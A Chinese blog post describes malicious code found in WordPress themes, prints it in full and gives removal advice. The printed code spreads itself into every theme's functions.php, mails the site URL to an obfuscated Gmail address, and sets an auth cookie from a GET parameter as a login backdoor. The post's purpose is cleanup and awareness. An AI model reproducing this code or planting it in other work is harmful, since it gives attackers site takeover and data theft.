WordPress 中了恶意主题代码的解决办法

都怪自己下载主题从来不去检查的，结果就中了恶意代码。

症状一般就是切换主题会出现错误，并且恶意代码本身就是收集博客的数据资料的。

恶意代码会自动感染所有的主题中的functions.php，恶意代码如下：

<?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="<a>";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :

	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;

	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $text_length) {
				$l=$text_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$link_text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tagsallowed) {
		$output=strip_tags($output, $tagsallowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output=apply_filters($filter, $output);
	switch($tag_aditional) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more_link ) {
		if($for_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
?>

并且代码都是添加在functions.php文件的末尾位置，所以，如果你也不幸中招了，如果主题是在WordPress后台官方渠道搜索安装的就重新去搜索安装，剩下的一些是其他地方下载的主题只能自己手动去删除每个主题下的functions.php中最后面那部分恶意代码了。